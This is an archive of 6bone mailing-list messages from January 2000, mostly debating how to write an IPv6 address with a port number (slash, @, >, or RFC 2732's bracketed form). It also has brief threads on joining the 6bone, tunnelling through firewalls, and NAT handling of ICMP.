>> > found a place where that will cause problems except for in URIs.
>> 
>> It's too easily confused with network prefixes.. (IPv6-addr/prefixlen).
>> 
>> How am I supposed to know whether 3ffe:1ce1:0:b5::1/64 should be
>> parsed as an <address,port> pair or as a network prefix?
>> 
> 
> The obvious answer is, of course, by context.  If I were to tell you to
> connect to 3ffe:1ce1:0:b5::1/64, then you would connect to service 64. 
> If I was talking about routing issues, then the 64 would be the prefix
> length.
> 
> In spite of that, I think the slash is still too problematic once we
> get into the WWW.  There are places where the context is ambiguous.  For
> example, the following URI should be perfectly reasonable:
> 
> http://3ffe:1ce1:0:b5::1/1019/ 
> 
> Where 1019 is the directory on the web server that points to some
> website I'm hosting.  The only tractable way to solve the problem is to
> come up with a different service port method.
> 
> Since we're tossing suggestions around, how about putting the service
> number is square brackets.  I can't think of a place where that would
> hurt us (except at the Unix shell prompt).  Something like
> 3ffe:1ce1:0:b5::1[1019] would be doable....
> 
> Another suggestion would be to reverse the IPv4 semantics for dotted
> quad:service.  For example, "3ffe:1ce1:0:b5::1.1019" might work.  Since
> there are no valid v4 addresses in the 0.0.0.x or 0.0.1.x blocks, we
> wouldn't even have to worry about 32 bit v4 address representations. 
> Without at least one more '.', it's fairly obvious that the suffix isn't
> an address component.
> 
The / referance whould only cause confusion, why not have something
slightly representative of IP @ a port number. Just a thought.

3ffe:1ce1:0:b5::1>64

-- 
----------------------------------
E-Mail: stephenb@uk.uu.net 
Phone: +44 (0)1223 581051


Stephen Burley
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From 6bone-owner  Tue Jan 11 12:44:00 2000
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To: David Burgess <burgess@mitre.org>
From: Edward Lewis <lewis@tislabs.com>
Subject: Re: IPv6 address/port format
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At 10:47 AM -0500 1/11/00, David Burgess wrote:
>In spite of that, I think the slash is still too problematic once we
>get into the WWW.  There are places where the context is ambiguous.  For

I agree, but FWIW, an escaped slash (%-something-something) is legal in an URL.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis                                                NAI Labs
Phone: +1 443-259-2352                      Email: lewis@tislabs.com

"Trying is the first step to failure." - Homer Simpson
"No! Try not. Do... or do not. There is no try." - Yoda

Opinions expressed are property of my evil twin, not my employer.



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From: "Dwayne C . Litzenberger" <dlitz@cheerful.com>
To: eeyem@u.washington.edu
Cc: James Bromberger <james@publishing.uwa.edu.au>,
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On Tue, Jan 11, 2000 at 03:47:13AM -0800, eeyem@u.washington.edu wrote:
> On Tue, Jan 11, 2000 at 12:44:14PM +0800, James Bromberger wrote:
> > This leaves us with:
> > 	!	@	%	^
> > 	*	=3D	+
> >=20
> > I kind of like @:
> > 	::ffff:127.0.0.1@80
> >=20
> >=20
> > So a URl would look like:
> > 	http://::ffff:127.0.0.1@80/
> >=20
> > And isf we can user service names (a la /etc/services):
> > 	http://::ffff:127.0.0.1@www/
> >=20
> > It also kind of makes sense as 'at port 80'. The only problem I can
> > see is perl - the @ array token needs to be escaped to \@ - but since
> > this is already the case with email addresses in perl, this should
> > not be too big a deal. We're not exactly reinventing the wheel here.
> > The only problem comes with user education - that when a novice sees
> > <something>@<something>, they currently think 'email'. Overloading
> > this may cause some confusion.
>=20
> @ is already used in URIs to indicate passwords.
> http://user:password@host:port/path, IIRC.
>=20
> Also, Ian McKellar pointed out that:
> > Of course !, % and * (And sometimes ^) have special shell meanings too.
>=20
> So if you want to be absolutely correct, you must use one of:
> > 	=3D	+
>=20
> Two choices.  Pathetic, eh?
>=20

I've seen both ::ffff:127.0.0.1.:80 (dot-colon as the separator), and
[::ffff:127.0.0.1]:80 ([] as the separator), and both would be better than
using =3D or +.=20

I suggest using [addr]:port, as it's the easiest to read, and is already
the "standard".

--
"If you continue running Windows, your system may become unstable."=20
     -- Windows 95 BSOD

Dwayne C. Litzenberger - dlitz@cheerful.com

Please always Cc to me when replying to me on the lists.

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From 6bone-owner  Tue Jan 11 18:15:12 2000
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Date: Tue, 11 Jan 2000 21:15:04 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: David Burgess <burgess@mitre.org>
Cc: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
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On Tue, Jan 11, 2000 at 09:47:46AM -0600, David Burgess wrote:

> Bill Sommerfeld wrote:

> > > "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > > > I'm not really knowledgeable about this, but what is a good, standard way
> > > > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > > > address.:port (dot-colon) would be good (and it already works with domain
> > > > names), but I haven't seen this done yet.
> > >
> > > > Any thoughts?

> > >   I've seen people use both "IPv6-addr port" (space sep.) and
> > > "IPv6-addr/port".  I think I really like using '/', and haven't yet
> > > found a place where that will cause problems except for in URIs.

> > It's too easily confused with network prefixes.. (IPv6-addr/prefixlen).

> > How am I supposed to know whether 3ffe:1ce1:0:b5::1/64 should be
> > parsed as an <address,port> pair or as a network prefix?


> The obvious answer is, of course, by context.  If I were to tell you to
> connect to 3ffe:1ce1:0:b5::1/64, then you would connect to service 64. 
> If I was talking about routing issues, then the 64 would be the prefix
> length.

	Bzzzt...  Wrong answer...

	Firewall rule:

	Deny access to 3ffe:1ce1:0:b5::1/96

	Are you saying to restrict the rule to port 96 on that host or are
you saying restrict the rule to any port on the /96 subnet.  It's ambigous
to attempt to parse it without knowledge of the data contents you are
attempting to parse and THAT'S unacceptable as a consequence.

	Overloading the '/' is going to be ambiguous in some contexts and
I see no way to avoid that.

	[...]

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From 6bone-owner  Tue Jan 11 20:03:57 2000
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Subject: Re: IPv6 address/port format
In-Reply-To: <387B50A2.17E67EE7@mitre.org> from David Burgess at "Jan 11, 2000  9:47:46 am"
To: burgess@mitre.org (David Burgess)
Date: Wed, 12 Jan 2000 12:02:43 +0800 (CST)
Cc: dlitz@cheerful.com, 6bone@ISI.EDU
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How about this: 
   We still use / in the routing case and in the dir case. : and . should
still be used in IPv6 address format. But when we express port, we use []
to include the IPv6 addresses or even domain name, other syntax kept the 
same as now.
   for instance, the following are expressed in tranditional ways:
   www.ipv6.net  --->  3ffe:1ce1:xxx:xxxx:xxx:xxxx:xxxx:xxxx
   10.20.30.40 ---> (mapping IPv6)   ::10.20.30.40                                                            54.2
                                     ::ffff:10.20.30.40
                                     ::xxxx:xxxx
                                     ::ffff:xxxx:xxxx
   but for port 80 on www.ipv6.net, 
   use [www.ipv6.net]:80
       [3ffe:1ce1:xxx:xxxx:xxxx:xxxx:xxxx:xxxx]:80
   and for urls: http://[..v6 address..]:port/dir/dir.....

   
> 
> Since we're tossing suggestions around, how about putting the service
> number is square brackets.  I can't think of a place where that would
> hurt us (except at the Unix shell prompt).  Something like
> 3ffe:1ce1:0:b5::1[1019] would be doable....
> 
> Another suggestion would be to reverse the IPv4 semantics for dotted
> quad:service.  For example, "3ffe:1ce1:0:b5::1.1019" might work.  Since
> there are no valid v4 addresses in the 0.0.0.x or 0.0.1.x blocks, we
> wouldn't even have to worry about 32 bit v4 address representations. 
> Without at least one more '.', it's fairly obvious that the suffix isn't
> an address component.
> 
> 


From 6bone-owner  Wed Jan 12 11:55:39 2000
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From: "Mohammad, Alimuddin" <alimuddin.mohammad@boeing.com>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Joining the 6bone
Date: Wed, 12 Jan 2000 11:54:53 -0800
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Hi,

The Boeing Bellevue campus in Seattle would like to get connected to the 6bone.
What  is the easiest/best way to do this?? Any help in this regard would be greatly
appreciated.

Also, would it be possible to access the 6bone, from behind a firewall???

Thanks.

---Alim

From 6bone-owner  Wed Jan 12 13:25:53 2000
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Date: Wed, 12 Jan 2000 13:25:51 -0800
To: "Mohammad, Alimuddin" <alimuddin.mohammad@boeing.com>,
        "'6bone@ISI.EDU'" <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
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Alim,

At 11:54 AM 1/12/00 -0800, Mohammad, Alimuddin wrote:
>Hi,
>
>The Boeing Bellevue campus in Seattle would like to get connected to the 
>6bone.
>What  is the easiest/best way to do this?? Any help in this regard would 
>be greatly
>appreciated.

Besides reading all the writeups on the 6bone.net pages, you do need to 
find a 6bone pTLA/pNLA network that will host your site's connection.

Anyway, please read the how to join the 6bone page at 
<http://www.6bone.net/6bone_hookup.html> and get back in touch with me 
privately with any questions you may have.


>Also, would it be possible to access the 6bone, from behind a firewall???

Yes, if your firewall manager doesn't mind you punching a virtual network 
hole through it for the IPv6 over IPv4 packets that will flow through it 
(presuming you are doing a tunnel and not a native connect).


Bob

--=====================_167141344==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Alim,<br>
<br>
At 11:54 AM 1/12/00 -0800, Mohammad, Alimuddin wrote:<br>
<blockquote type=cite cite>Hi,<br>
<br>
The Boeing Bellevue campus in Seattle would like to get connected to the
6bone.<br>
What&nbsp; is the easiest/best way to do this?? Any help in this regard
would be greatly<br>
appreciated.</blockquote><br>
Besides reading all the writeups on the 6bone.net pages, you do need to
find a 6bone pTLA/pNLA network that will host your site's
connection.<br>
<br>
Anyway, please read the how to join the 6bone page at
&lt;<a href="http://www.6bone.net/6bone_hookup.html" eudora="autourl">http://www.6bone.net/6bone_hookup.html</a>&gt;
and get back in touch with me privately with any questions you may
have.<br>
<br>
<br>
<blockquote type=cite cite>Also, would it be possible to access the
6bone, from behind a firewall???</blockquote><br>
Yes, if your firewall manager doesn't mind you punching a virtual network
hole through it for the IPv6 over IPv4 packets that will flow through it
(presuming you are doing a tunnel and not a native connect).<br>
<br>
<br>
Bob<br>
</html>

--=====================_167141344==_.ALT--


From 6bone-owner  Wed Jan 12 14:33:24 2000
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From: Yuji Sekiya <sekiya@ISI.EDU>
To: alimuddin.mohammad@boeing.com
Cc: 6bone@ISI.EDU
Cc: bmanning@ISI.EDU, sekiya@ISI.EDU
Subject: Re: Joining the 6bone
In-Reply-To: In your message of "Wed, 12 Jan 2000 11:54:53 -0800"
	<A0C2D81FEEA3D111B6BB00805FE633CFD392FF@xch-sea-14.ca.boeing.com>
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At Wed, 12 Jan 2000 11:54:53 -0800,
Mohammad, Alimuddin <alimuddin.mohammad@boeing.com> wrote:

Hello Alimuddin,

> The Boeing Bellevue campus in Seattle would like to get connected to the 6bone.
> What  is the easiest/best way to do this?? Any help in this regard would be greatly
> appreciated.

Can we help you ?
We can accept your tunnel request.

> Also, would it be possible to access the 6bone, from behind a firewall???

You can access the 6bone if your firewall allows to
pass IPv4 packets which protocol # are 41.


Regards.

-- Yuji Sekiya

From 6bone-owner  Thu Jan 13 01:40:35 2000
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From: Pontus Lidman <pontus@lysator.liu.se>
To: Raizada Manoj <Manoj.Raizada@sisl.co.in>
cc: 6bone@ISI.EDU
Subject: IPv6-enabled Linux (was: RE: Tunelling with Solaris 8 <-> Linux)
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On Thu, 16 Dec 1999, Raizada Manoj wrote:

> Hi all 
> 
> I am trying to get the Linux freeware with IPV6 implementation. Could
> someone help me to get the source code with the installation guidelines.

Debian GNU/Linux (http://www.debian.org) version 2.2 has IPv6-enabled
network tools, and packages for IPv6-enabled web servers, mail servers,
ssh etc.

Regards,

Pontus
 
-- 
Pontus Lidman, pontus@mathcore.com, Software Engineer
No matter how cynical you get, it's impossible to keep up.
Scene: www.dc-s.com | MUD: tyme.envy.com 6969 | irc: irc.quakenet.eu.org


From 6bone-owner  Thu Jan 13 03:30:18 2000
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Date: Thu, 13 Jan 2000 11:29:50 +0000
From: Rene Mayrhofer <rene.mayrhofer@vianova.at>
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Subject: Re: IPv6 address/port format
References: <200001120403.MAA23852@ns.6test.edu.cn>
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Haisang Wu wrote:
> 
> How about this:
>    We still use / in the routing case and in the dir case. : and . should
> still be used in IPv6 address format. But when we express port, we use []
> to include the IPv6 addresses or even domain name, other syntax kept the
> same as now.
>    for instance, the following are expressed in tranditional ways:
>    www.ipv6.net  --->  3ffe:1ce1:xxx:xxxx:xxx:xxxx:xxxx:xxxx
>    10.20.30.40 ---> (mapping IPv6)   ::10.20.30.40                                                            54.2
>                                      ::ffff:10.20.30.40
>                                      ::xxxx:xxxx
>                                      ::ffff:xxxx:xxxx
>    but for port 80 on www.ipv6.net,
>    use [www.ipv6.net]:80
>        [3ffe:1ce1:xxx:xxxx:xxxx:xxxx:xxxx:xxxx]:80
>    and for urls: http://[..v6 address..]:port/dir/dir.....

Seems the best solution to me, as a very new user of IPv6. It is the
closest solution compared to IPv4 Syntax.

Rene Mayrhofer

From 6bone-owner  Thu Jan 13 04:26:08 2000
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From: MARAY Tamas <maray@fsz.bme.hu>
Message-Id: <200001131226.NAA25176@bagira.iit.bme.hu>
Subject: Re: IPv6 address/port format
In-Reply-To: <v0313031fb4a1458de4c6@[10.33.10.14]> from Edward Lewis at "Jan 11, 2000 03:42:14 pm"
To: 6bone@ISI.EDU
Date: Thu, 13 Jan 2000 13:26:10 +0100 (MET)
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> > How about this:
> >    We still use / in the routing case and in the dir case. : and . should
> > still be used in IPv6 address format. But when we express port, we use []
> > to include the IPv6 addresses or even domain name, other syntax kept the
> > same as now.
> >    for instance, the following are expressed in tranditional ways:
> >    www.ipv6.net  --->  3ffe:1ce1:xxx:xxxx:xxx:xxxx:xxxx:xxxx
> >    10.20.30.40 ---> (mapping IPv6)   ::10.20.30.40
                                54.2
> >                                      ::ffff:10.20.30.40
> >                                      ::xxxx:xxxx
> >                                      ::ffff:xxxx:xxxx
> >    but for port 80 on www.ipv6.net,
> >    use [www.ipv6.net]:80
> >        [3ffe:1ce1:xxx:xxxx:xxxx:xxxx:xxxx:xxxx]:80
> >    and for urls: http://[..v6 address..]:port/dir/dir.....
>
> Seems the best solution to me, as a very new user of IPv6. It is the
> closest solution compared to IPv4 Syntax.

Wrong. Conflicts with the UNIX shell.

Tamas Maray
<maray@fsz.bme.hu>


From 6bone-owner  Thu Jan 13 05:35:59 2000
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From: Keith Owens <kaos@ocs.com.au>
To: MARAY Tamas <maray@fsz.bme.hu>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format 
In-reply-to: Your message of "Thu, 13 Jan 2000 13:26:10 BST."
             <200001131226.NAA25176@bagira.iit.bme.hu> 
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On Thu, 13 Jan 2000 13:26:10 +0100 (MET), 
MARAY Tamas <maray@fsz.bme.hu> wrote:
>> >    and for urls: http://[..v6 address..]:port/dir/dir.....
>>
>> Seems the best solution to me, as a very new user of IPv6. It is the
>> closest solution compared to IPv4 Syntax.
>
>Wrong. Conflicts with the UNIX shell.

Right, if you care about proposed standards.  RFC 2732 says to use

http://[FEDC:BA98:7654:3210:FEDC:BA98:7654:3210]:80/index.html

If you disagree with RFC 2732, take it up with the Internet standards
process.

In any case, there are a lot of characters that conflict with the Unix
shell, all of which are valid in the pathname section of a URL.  '?'
means "any character" to some shells, does that mean we forbid its use
for CGI scripts?


From 6bone-owner  Thu Jan 13 06:17:00 2000
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From: MARAY Tamas <maray@fsz.bme.hu>
Message-Id: <200001131417.PAA02415@bagira.iit.bme.hu>
Subject: Re: IPv6 address/port format
In-Reply-To: <7073.947770552@ocs3.ocs-net> from Keith Owens at "Jan 14, 2000 00:35:52 am"
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> >Wrong. Conflicts with the UNIX shell.
> 
> Right, if you care about proposed standards.  RFC 2732 says to use
> 
> http://[FEDC:BA98:7654:3210:FEDC:BA98:7654:3210]:80/index.html
> 
> If you disagree with RFC 2732, take it up with the Internet standards
> process.
> 
> In any case, there are a lot of characters that conflict with the Unix
> shell, all of which are valid in the pathname section of a URL.  '?'
> means "any character" to some shells, does that mean we forbid its use
> for CGI scripts?

Of course not. That is an unlucky case and we must live with it
since we have no impact on it anymore. But why shouldn't we create a
solution for IPv6 URL syntax which satisfies all the requirements
if we are still in time and position? If we choose the syntax watchfully,
such kind of conflicts can be avoided.

Sincerely,

Tamas Maray
<maray@fsz.bme.hu>


From 6bone-owner  Thu Jan 13 10:46:13 2000
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From: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
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Subject: Re: IPv6 address/port format
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On Thu, Jan 13, 2000 at 01:26:10PM +0100, MARAY Tamas wrote:
>Wrong. Conflicts with the UNIX shell.

There are multiple UNIX shells, or at least multiple shells in
use on UNIX (and UNIX-like) systems. I don't know if this conflicts
with all of them, but I doubt it. Your argument is valid, but no
matter which standard we choose, we will run into conflicts. We'll
just have to find out how to minimize those conflicts.

/* Steinar */
-- 
Homepage: http://members.xoom.com/sneeze/

From 6bone-owner  Thu Jan 13 11:08:54 2000
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Date: Thu, 13 Jan 2000 19:07:56 +0000
From: Rene Mayrhofer <rene.mayrhofer@vianova.at>
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To: MARAY Tamas <maray@fsz.bme.hu>
CC: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
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MARAY Tamas wrote:
> 
> > >Wrong. Conflicts with the UNIX shell.
> >
> > Right, if you care about proposed standards.  RFC 2732 says to use
> >
> > http://[FEDC:BA98:7654:3210:FEDC:BA98:7654:3210]:80/index.html
> >
> > If you disagree with RFC 2732, take it up with the Internet standards
> > process.
> >
> > In any case, there are a lot of characters that conflict with the Unix
> > shell, all of which are valid in the pathname section of a URL.  '?'
> > means "any character" to some shells, does that mean we forbid its use
> > for CGI scripts?
> 
> Of course not. That is an unlucky case and we must live with it
> since we have no impact on it anymore. But why shouldn't we create a
> solution for IPv6 URL syntax which satisfies all the requirements
> if we are still in time and position? If we choose the syntax watchfully,
> such kind of conflicts can be avoided.

But I think that there is another point that has to be taken into
account: Users must live with the solution. When we want a smooth
upgrade from IPv4 to IPv6 (OK, as smooth as it can be anyway), then the
change on the user interface should be minimized. 
Remember, the majority of people using the Internet does not care about
IP, they only use their tools like Web-browsers or email-clients.

I think it is very important for the acceptance of IPv6 that users
should not notice the change at all. With URLs, there would only be a
very small change if the above format would be used.

But you are completely right: There is a problem with UNIX shells that
can be solved easier when we think about it now. Is there an easy way to
cope with it without changing the format for URLs ? Can the "[" and "]"
simply be escaped in the shells ? This should be possible when the tools
are aware of it. 

cheers,
Rene Mayrhofer

From 6bone-owner  Thu Jan 13 13:42:59 2000
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Date: Thu, 13 Jan 2000 16:44:09 -0500
From: Nathan Dorfman <nathan@rtfm.net>
To: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
Message-ID: <20000113164408.B73420@rtfm.net>
References: <v0313031fb4a1458de4c6@[10.33.10.14]> <200001131226.NAA25176@bagira.iit.bme.hu> <20000113181536.A13498@uio.no>
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On Thu, Jan 13, 2000 at 06:15:36PM +0000, Steinar H. Gunderson wrote:
> On Thu, Jan 13, 2000 at 01:26:10PM +0100, MARAY Tamas wrote:
> >Wrong. Conflicts with the UNIX shell.
> 
> There are multiple UNIX shells, or at least multiple shells in
> use on UNIX (and UNIX-like) systems. I don't know if this conflicts
> with all of them, but I doubt it. Your argument is valid, but no
> matter which standard we choose, we will run into conflicts. We'll
> just have to find out how to minimize those conflicts.

[ and ] are metacharacters in the POSIX-specified standard Unix shell;
as well as bash, bash2, ksh, csh, tcsh and zsh. Since this list
comprises something like 99% of all Unix shells used, characters
marked as reserved by *all* of them are a really bad choice.

> /* Steinar */
> -- 
> Homepage: http://members.xoom.com/sneeze/

-- 
Nathan Dorfman <nathan@rtfm.net>         The statements and opinions in my
Unix Admin @ Frontline Communications    public posts are mine, not FCC's.
"The light at the end of the tunnel is the headlight of an approaching
train." --/usr/games/fortune

From 6bone-owner  Thu Jan 13 13:57:56 2000
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Date: Thu, 13 Jan 2000 16:59:11 -0500
From: Nathan Dorfman <nathan@rtfm.net>
To: Rene Mayrhofer <rene.mayrhofer@vianova.at>
Cc: MARAY Tamas <maray@fsz.bme.hu>, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
Message-ID: <20000113165910.A74363@rtfm.net>
References: <200001131417.PAA02415@bagira.iit.bme.hu> <387E228C.1F2CB906@vianova.at>
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On Thu, Jan 13, 2000 at 07:07:56PM +0000, Rene Mayrhofer wrote:
> > Of course not. That is an unlucky case and we must live with it
> > since we have no impact on it anymore. But why shouldn't we create a
> > solution for IPv6 URL syntax which satisfies all the requirements
> > if we are still in time and position? If we choose the syntax watchfully,
> > such kind of conflicts can be avoided.
> 
> But I think that there is another point that has to be taken into
> account: Users must live with the solution. When we want a smooth
> upgrade from IPv4 to IPv6 (OK, as smooth as it can be anyway), then the
> change on the user interface should be minimized. 
> Remember, the majority of people using the Internet does not care about
> IP, they only use their tools like Web-browsers or email-clients.
> 
> I think it is very important for the acceptance of IPv6 that users
> should not notice the change at all. With URLs, there would only be a
> very small change if the above format would be used.
> 
> But you are completely right: There is a problem with UNIX shells that
> can be solved easier when we think about it now. Is there an easy way to
> cope with it without changing the format for URLs ? Can the "[" and "]"
> simply be escaped in the shells ? This should be possible when the tools
> are aware of it. 

% netscape http://[aa:bb:cc:dd:ee:ff:gg:hh]:8080/blah
No match.
% damn!
damn!: Command not found.
% logout

> cheers,
> Rene Mayrhofer

-- 
Nathan Dorfman <nathan@rtfm.net>         The statements and opinions in my
Unix Admin @ Frontline Communications    public posts are mine, not FCC's.
"The light at the end of the tunnel is the headlight of an approaching
train." --/usr/games/fortune

From 6bone-owner  Thu Jan 13 16:23:17 2000
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From: Keith Owens <kaos@ocs.com.au>
To: Nathan Dorfman <nathan@rtfm.net>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format 
In-reply-to: Your message of "Thu, 13 Jan 2000 16:59:11 CDT."
             <20000113165910.A74363@rtfm.net> 
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On Thu, 13 Jan 2000 16:59:11 -0500, 
Nathan Dorfman <nathan@rtfm.net> wrote:
>% netscape http://[aa:bb:cc:dd:ee:ff:gg:hh]:8080/blah
>No match.

netscape 'http://[aa:bb:cc:dd:ee:ff:gg:hh]:8080/blah'

Standard shell rules for escaping characters.  Trying to restrict meta
characters in a URL to make the URL "shell compatible" is a waste of
time.  The pathname can contain *any* character that the target site
wants to use, including meta characters and spaces and you have no
control over the pathname.  To view "filename with spaces.html", you
*must* enter the URL in the shell as

netscape 'http://www.site.name/filename with spaces.html'

The string must be quoted when the pathname contains special
characters, what is so different about quoting it when the hostname
contains special characters?  This problem already occurs, there are
lots of filenames on the web with spaces in them.


From 6bone-owner  Thu Jan 13 16:55:03 2000
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Subject: Re: IPv6 address/port format
In-Reply-To: <20000113165910.A74363@rtfm.net> from Nathan Dorfman at "Jan 13,
 2000 04:59:11 pm"
To: Nathan Dorfman <nathan@rtfm.net>, 6bone@ISI.EDU
Date: Thu, 13 Jan 2000 19:54:34 -0500 (EST)
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Nathan Dorfman wrote:

<> % netscape http://[aa:bb:cc:dd:ee:ff:gg:hh]:8080/blah
<> No match.
<> % damn!
<> damn!: Command not found.
<> % logout

True, but ...

  % lynx http:\[aa:bb:cc:dd:ee:ff:gg:hh\]:8080/blah 
  Looking up 'http:[aa:bb:cc:dd:ee:ff:gg:hh]' first.
  .
  .
  .

NOT that I think this is a good idea, mind ...

R
-- 
R A Lichtensteiger	 rali@meitca.com -or- rali@world.std.com
			 http://www.meitca.com/ITA/People/rali
    "Yes, you're doing things right, but are you doing the right things?"
    "Nope.  I'm just doing something dumb fast."

From 6bone-owner  Thu Jan 13 16:57:41 2000
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From: Stephen Burley <stephenb@uk.uu.net>
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To: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
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What is wrong with using > as a direction to a port symbol. We are making
far too much of this. White space will do it always has up till now.

----------------------------------
E-Mail: stephenb@uk.uu.net 
Phone: +44 (0)1223 581051


Stephen Burley
EMEA Registrar UUNET
----------------------------------

On Thu, 13 Jan 2000, Steinar H. Gunderson wrote:

> On Thu, Jan 13, 2000 at 01:26:10PM +0100, MARAY Tamas wrote:
> >Wrong. Conflicts with the UNIX shell.
> 
> There are multiple UNIX shells, or at least multiple shells in
> use on UNIX (and UNIX-like) systems. I don't know if this conflicts
> with all of them, but I doubt it. Your argument is valid, but no
> matter which standard we choose, we will run into conflicts. We'll
> just have to find out how to minimize those conflicts.
> 
> /* Steinar */
> -- 
> Homepage: http://members.xoom.com/sneeze/
> 


From 6bone-owner  Thu Jan 13 17:51:55 2000
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To: Nathan Dorfman <nathan@rtfm.net>, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
References: <v0313031fb4a1458de4c6@[10.33.10.14]> <200001131226.NAA25176@bagira.iit.bme.hu> <20000113181536.A13498@uio.no> <20000113164408.B73420@rtfm.net>
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Nathan Dorfman wrote:

> On Thu, Jan 13, 2000 at 06:15:36PM +0000, Steinar H. Gunderson wrote:
> > On Thu, Jan 13, 2000 at 01:26:10PM +0100, MARAY Tamas wrote:
> > >Wrong. Conflicts with the UNIX shell.
> >
> > There are multiple UNIX shells, or at least multiple shells in
> > use on UNIX (and UNIX-like) systems. I don't know if this conflicts
> > with all of them, but I doubt it. Your argument is valid, but no
> > matter which standard we choose, we will run into conflicts. We'll
> > just have to find out how to minimize those conflicts.
>
> [ and ] are metacharacters in the POSIX-specified standard Unix shell;
> as well as bash, bash2, ksh, csh, tcsh and zsh. Since this list
> comprises something like 99% of all Unix shells used, characters
> marked as reserved by *all* of them are a really bad choice.

Many characters defined as acceptable in URL's are in some way magic or
special to shells.

Examples include, but are not limited to: ; ? * '  &

That means that when feeding some URL's to tools (like wget) you already have
to escape them (with \ or by wrapping them in quotes).

Realistically, I don't think entering a URI at shell level with an embedded
numeric V6 address is going to be all that common. Nor, do I think that it
comprises any more or less care with character escapes than existing URL
grammar already requires.

D



From 6bone-owner  Fri Jan 14 04:38:27 2000
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From: Aljaz Tomaz    RDSI <aljaz@iskratel.si>
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Hi all!
I know that this topic is not directly associated with IPv6 but I would like
to find some information about NAT implementation. NAT has to chage every
source/destination IP address and source port every packet outside NAT
domain (whole inside network is maped to one legal IP address). For all
TCP/UDP communication I found no problem doing that. What about PING (echo
request/reply) - ICMP packets. There is no UDP/TCP port. How NAT works in
that situation and distinguish packets?

Regards,
Tomaz

From 6bone-owner  Fri Jan 14 06:46:43 2000
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To: "Michael H. Warfield" <mhw@wittsend.com>
CC: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>, 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
References: <200001101530.PAA12945@orchard.arlington.ma.us> <387B50A2.17E67EE7@mitre.org> <20000111211504.A10106@alcove.wittsend.com>
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"Michael H. Warfield" wrote:
> 
> On Tue, Jan 11, 2000 at 09:47:46AM -0600, David Burgess wrote:
> 
> > Bill Sommerfeld wrote:
> 
> > > > "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > > > > I'm not really knowledgeable about this, but what is a good, standard way
> > > > > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > > > > address.:port (dot-colon) would be good (and it already works with domain
> > > > > names), but I haven't seen this done yet.
> > > >
> > > > > Any thoughts?
> 
> > > >   I've seen people use both "IPv6-addr port" (space sep.) and
> > > > "IPv6-addr/port".  I think I really like using '/', and haven't yet
> > > > found a place where that will cause problems except for in URIs.
> 
> > > It's too easily confused with network prefixes.. (IPv6-addr/prefixlen).
> 
> > > How am I supposed to know whether 3ffe:1ce1:0:b5::1/64 should be
> > > parsed as an <address,port> pair or as a network prefix?
> 
> > The obvious answer is, of course, by context.  If I were to tell you to
> > connect to 3ffe:1ce1:0:b5::1/64, then you would connect to service 64.
> > If I was talking about routing issues, then the 64 would be the prefix
> > length.
> 
>         Bzzzt...  Wrong answer...
> 
>         Firewall rule:
> 
>         Deny access to 3ffe:1ce1:0:b5::1/96
> 
>         Are you saying to restrict the rule to port 96 on that host or are
> you saying restrict the rule to any port on the /96 subnet.  It's ambigous
> to attempt to parse it without knowledge of the data contents you are
> attempting to parse and THAT'S unacceptable as a consequence.
> 
>         Overloading the '/' is going to be ambiguous in some contexts and
> I see no way to avoid that.
> 
>         [...]
> 

In the elided section, I bring up a different 'bad case', so I'd say I
agree here.  The more we think about it, the more it gets strange.  The
RFC based suggestion (putting the address in square brackets) seems to
be the least egregious of the choices I've seen so far.

BTW:  The NetBSD firewall system uses a separate port directive from the 
address component of the address, which would dis-ambiguate the event. 
Using the /nn directive there (in that particular implementation) would
still allow for the contextual clues required....

IN SPITE OF THAT I agree that overloading the '/' is genuinely a bad
idea.  The only two workable solutions that I would consider are to
actually adopt the RFC based solution or to do like I suggested before
and switch the v4 to v6 semantics for ':' and '.'


From 6bone-owner  Fri Jan 14 09:02:43 2000
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To: Nathan Dorfman <nathan@rtfm.net>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
References: <v0313031fb4a1458de4c6@[10.33.10.14]> <200001131226.NAA25176@bagira.iit.bme.hu> <20000113181536.A13498@uio.no> <20000113164408.B73420@rtfm.net>
From: "Perry E. Metzger" <perry@piermont.com>
Date: 14 Jan 2000 12:02:51 -0500
In-Reply-To: Nathan Dorfman's message of "Thu, 13 Jan 2000 16:44:09 -0500"
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Nathan Dorfman <nathan@rtfm.net> writes:
> [ and ] are metacharacters in the POSIX-specified standard Unix shell;
> as well as bash, bash2, ksh, csh, tcsh and zsh. Since this list
> comprises something like 99% of all Unix shells used, characters
> marked as reserved by *all* of them are a really bad choice.

Who the hell cares? No one is going to enter in address literals
except in extreme circumstances anyway. They're a mile long.

.pm

From 6bone-owner  Fri Jan 14 09:34:27 2000
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Date: Fri, 14 Jan 2000 12:34:27 -0500
From: Nathan Dorfman <nathan@rtfm.net>
To: "Perry E. Metzger" <perry@piermont.com>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 address/port format
Message-ID: <20000114123427.A18012@rtfm.net>
